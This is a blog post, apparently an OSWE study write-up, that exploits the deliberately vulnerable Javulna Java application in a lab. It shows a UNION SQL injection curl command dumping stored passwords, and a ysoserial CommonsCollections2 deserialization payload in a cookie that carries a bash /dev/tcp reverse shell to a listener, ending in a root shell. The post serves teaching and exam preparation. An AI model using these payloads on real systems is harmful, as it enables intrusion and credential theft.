OSCE3 | OSCE | OSCP
At the time of writing I am currently studying OSWE and I decided to do a bit of Java MVC exploitation as part of my studies. The OSWE exam requires the candidate to bypass authentication and gain reverse shell in a single exploit script, so that’s what I decided to do using the Javulna vulnerable web app.
The OSWE is a source code review exam so I will use the Java code to find the vulnerabilities and exploit them.
The Javulna application is a REST API web application; this means there is no website front end.
I built the Javulna application then ran it from the terminal on my target box:
java -jar ./javulna-1.0-SNAPSHOT.jar
I am running it in Snap Labs but any VM will do.
The OSWE exam is going to be harder than exploiting the Javulna application. The Advanced Web Attacks and Exploitation course gives you all of the knowledge you need to exploit the exam targets. This is about developing and sharing my own methodology.
I have developed my own method for exploiting web applications when the objectives are to bypass authentication then gain remote code execution; because this is what is expected in the exam. If the objective was to test for as many vulnerabilities as possible in the application then this methodology would need to be adjusted somewhat.
The first thing I do is to spend a bit of time mapping out the web application’s endpoints; the URIs that I can interact with as a user. Because I have access to the source code and I know that it is an MVC application finding the endpoints is quite easy (but can be time consuming). Essentially we are looking for classes that use the @RestController
annotation, and the functions within the class that use the @RequestMapping
, @PostMapping
, @PutMapping
, @GetMapping
etc.
@RestController()
public class MovieController {
// ...
@GetMapping("rest/movie")
public @ResponseBody List<MovieDto> findMovies(
// ...
Javulna has a simple MovieController
class, which contains an endpoint mapping for a GET request to the rest/movie
URI. This can be used to demonstrate:
curl 10.10.0.120:8080/rest/movie
[{"id":"1","title":"Star Wars - A new hope","description":"Luke Skywalker joins forces with a Jedi Knight, a cocky pilot, a Wookiee, and two droids to save the galaxy from the Empires world-destroying battle-station, while also attempting to rescue Princess Leia from the evil Darth Vader.","genre":" Action, Adventure, Fantasy"},{"id":"2","title":"Star Wars - The Empire Strikes Back","description":"After the rebels are overpowered by the Empire on their newly established base, Luke Skywalker begins Jedi training with Master Yoda. His friends accept shelter from a questionable ally as Darth Vader hunts them in a plan to capture Luke.","genre":" Action, Adventure, Fantasy"},{"id":"3","title":"Star Wars - Return of the Jedi","description":"After a daring mission to rescue Han Solo from Jabba the Hutt, the rebels dispatch to Endor to destroy a more powerful Death Star. Meanwhile, Luke struggles to help Vader back from the dark side without falling into the Emperors trap.","genre":" Action, Adventure, Fantasy"}]
Using Visual Studio Code we can find all of the @RestController
classes:
The search results can be taken and a diagram of the web application endpoints can be made:
Notice that there is no REST endpoint for logging in to the application, which is our first objective. I’ll come back to that later.
After taking a note of all the endpoints I map out the code flow, this helps to find vulnerable code, but it can also be quite time consuming. If the application is very large I might focus on endpoints that are related to authentication, sessions, password resets (stuff that might give me authentication bypass). As Javulna isn’t that large I map each flow out like so:
I also do a quick manual walk over the website, recording all of the requests, in BurpSuit. In this case there is no website so I would only use BurpSuite to examine specific requests, headers and cookies.
It is important to understand how the data is stored by the web app; the database engine being used and the tables that store the data. There may be ways that you can execute code or file upload via a SQL injection (for example in MS SQL and PostgreSQL), and if there is a SQL injection vulnerability it is much easier if you understand the database schema.
Javulna uses the built in HSQL database so it has no remote code execution functionality in it. We know it uses HSQL because of the application.properties
entry:
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
Included in the application is a data.sql
file which gives us details of the database schema and the default data inserted into the tables:
Notice that the user accounts are stored in a table called appuser
.
Note: never rely upon the data in this table when targetting a live instance of the application, this is default data and is very likely to have been removed (especially in an OSWE exam scenario ;-)).
My methodology is a combination of white-box and grey-box testing. I generally read through code and try to spot obvious vulnerabilities, if I find something I test it with Burp Suite to see if I can inject malicious user input.
When the application is quite large, I will also use regular expressions to look for common vulnerabilities. For example:
Language | Regex | Vulnerability |
---|---|---|
PHP | \$.*( ==|== )( \$|\$).* | Type juggling vulnerabilities |
N/A | .*select.* | SQL injection vulnerabilities |
Visual Studio Code is quite good for searching using regular expressions.
Eyes down for a full house… on to the exploitation!
During white-box source code review I found the following code:
public List<MovieDto> findMovie(String title, String description, String genre, String id) {
int conditions = 0;
StringBuilder sql = new StringBuilder("select description, title, genre, id from movie ");
if (StringUtils.hasText(title)) {
appendCondition(sql, conditions);
conditions++;
sql.append("title LIKE '%").append(title).append("%'");
}
...
We control the title
variable/input. The sql
string is concatinated so it is very likely that this code contains a SQL injection vulnerability. We already discovered that the rest/movie
endpoint leads to this code (using a GET request).
We can send a GET request to test the SQL injection theory (grey-box testing):
curl "http://10.10.0.120:8080/rest/movie?title=Star%';--"
Notice in the result we still get a valid response even after we have injected SQL syntax (%';--
):
[{"id":"1","title":"Star Wars - A new hope","description":"Luke Skywalker joins forces with a Jedi Knight, a cocky pilot, a Wookiee, and two droids to save the galaxy from the Empires world-destroying battle-station, while also attempting to rescue Princess Leia from the evil Darth Vader.","genre":" Action, Adventure, Fantasy"},{"id":"2","title":"Star Wars - The Empire Strikes Back","description":"After the rebels are overpowered by the Empire on their newly established base, Luke Skywalker begins Jedi training with Master Yoda. His friends accept shelter from a questionable ally as Darth Vader hunts them in a plan to capture Luke.","genre":" Action, Adventure, Fantasy"},{"id":"3","title":"Star Wars - Return of the Jedi","description":"After a daring mission to rescue Han Solo from Jabba the Hutt, the rebels dispatch to Endor to destroy a more powerful Death Star. Meanwhile, Luke struggles to help Vader back from the dark side without falling into the Emperors trap.","genre":" Action, Adventure, Fantasy"}]
Notice that each json
element returned looks like this:
{
"id":"",
"title":"",
"description":"",
"genre":""
}
We now know five things:
title
parameter.UNION
statement to fill the four values in the json
elements.Given this information we can use the following manual exploit to get a valid account to log in with:
curl "http://10.10.0.120:8080/rest/movie?title='+UNION+SELECT+password,'',name,id+FROM+appuser;--"
The output shows the results ( some data omitted for brevity):
[
{"id":"2","title":"","description":"IamYourFather","genre":"Darth Vader"},
{"id":"3","title":"","description":"IwishIhaveChoosenTheWookieInstead","genre":"Princess Leia"},
{"id":"1","title":"","description":"NoSecretsATrueJediHas","genre":"Yoda"}
]
We can use any of these accounts to log in to the web application. We could do some brute forcing to find the login API but most web applications would document this anyway. Within Javulna this is at /login
:
curl "http://10.10.0.120:8080/login" -X POST -d "username=Yoda&password=NoSecretsATrueJediHas"
At this point we have access to all of the endpoints. During black-box testing I noticed that there is an authentication cookie set afetr login:
curl -D - "http://10.10.0.120:8080/login" -X POST -d "username=Yoda&password=NoSecretsATrueJediHas"
HTTP/1.1 200
...
Set-Cookie: USER_AUTHENTICATION_EXTRA_SECURITY=rO0ABXNyAB5jb20ua2FsYXZpdC5qYXZ1bG5hLm1vZGVsLlVzZXJtUBnAtT2LlQIABkwADGVtYWlsQWRkcmVzc3QAEkxqYXZhL2xhbmcvU3RyaW5nO0wABW1vdHRvcQB+AAFMAARuYW1lcQB+AAFMAAhwYXNzd29yZHEAfgABTAADc2V4cQB+AAFMAAp3ZWJQYWdlVXJscQB+AAF4cgAkY29tLmthbGF2aXQuamF2dWxuYS5tb2RlbC5CYXNlRW50aXR5QO/pccfE7scCAANMAAljcmVhdGVkQXR0ABBMamF2YS91dGlsL0RhdGU7TAACaWRxAH4AAUwADWxhc3RVcGRhdGVkQXRxAH4AA3hwcHQAATFwdAASeW9kYUBsdWNhc2FydHMuY29tdAAaSSBkb24ndCBrbm93IGhvdyBvbGQgSSBhbS50AARZb2RhdAAVTm9TZWNyZXRzQVRydWVKZWRpSGFzdAABbXQAJWh0dHA6Ly93d3cuc3RhcndhcnMuY29tL2RhdGFiYW5rL3lvZGE=; Max-Age=2147483647; Expires=Sun, 27-Aug-2090 18:10:56 GMT
...
Also notice that the USER_AUTHENTICATION_EXTRA_SECURITY
cookie begins with a familiar signature: rO0
; this means that the cookie is serialized and that there may be a deserialization vulnerability.
The web application uses a Filter Config to implement the cookie deserialization which acts as an authentication cookie for the user. The code flow is as follows:
Deserializing unsanitized objects is dangerous and should be avoided. Looking at the project in Eclispse we can also see that the application has a dependency on CommonsCollections
version 4-4.0
:
We are now set up to attempt to exploit this vulnerability using the ysoserial
tool!
We can generate a reverse shell payload inside a ysoserial
payload with a bit of bash wizardry (you can do this using manual steps):
payload=`echo "bash -i >& /dev/tcp/10.9.254.6/4444 0>&1" | base64 -w0`;java -jar ysoserial-all.jar CommonsCollections2 "bash -c {echo,$payload}|{base64,-d}|{bash,-i}" | base64 -w0
Finally we can start our netcat
listener:
nc -nvlp 4444
And send the malicious cookie using BurpSuite (to the rest/movie
endpoint):
We now have a reverse shell on the target:
nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.9.254.6] from (UNKNOWN) [10.10.0.120] 49636
root@john-virtual-machine:/home/john/Documents/javulna-master/target# whoami
whoami
root
And I’m running Javulna as root… how naughty of me!
The steps to compromise the web application are as follows:
CommonsCollections2
payload in ysoserial
(reverse shell).USER_AUTHENTICATION_EXTRA_SECURITY
cookie to contain the ysoserial
payload.netcat
listener.I have posted the full exploit code here. I have tried to comment the code as much as possible so it makes sense.
This is it running:
python3 ./exploit.py -t 10.10.0.120 -l 10.9.254.6 -p 1337
[!] Don't forget to start your Netcat listener!
[!] Press enter to start...
[+] Carrying out SQLi attack...
[+] Dumping accounts...
[-] Darth Vader:IamYourFather
[-] Princess Leia:IwishIhaveChoosenTheWookieInstead
[-] Yoda:NoSecretsATrueJediHas
[+] Will use credentials: Yoda:NoSecretsATrueJediHas
[+] Logging in to the web app...
[+] Using ysoserial to generate a reverse shell payload...
[+] Carrying out Java deserialization attack...
[+] Have a nice day!
There is loads of vulnerabilities in the Javulna application, ~there might even be~ there is other ways to get remote code execution. There is also a Udemy Course if you want to learn more about exploiting Java web applications. The course uses Postman to demonstrate exploitation, so don’t expect any python
exploit code.
If you want to contact me, use LinkedIn, you might have something to add/share, or you might just think this is a load of tosh! I’m all ears.
Feel free to leave comments or questions for this blog post. Please be respectful, I will moderate comments and reserve the right to remove them.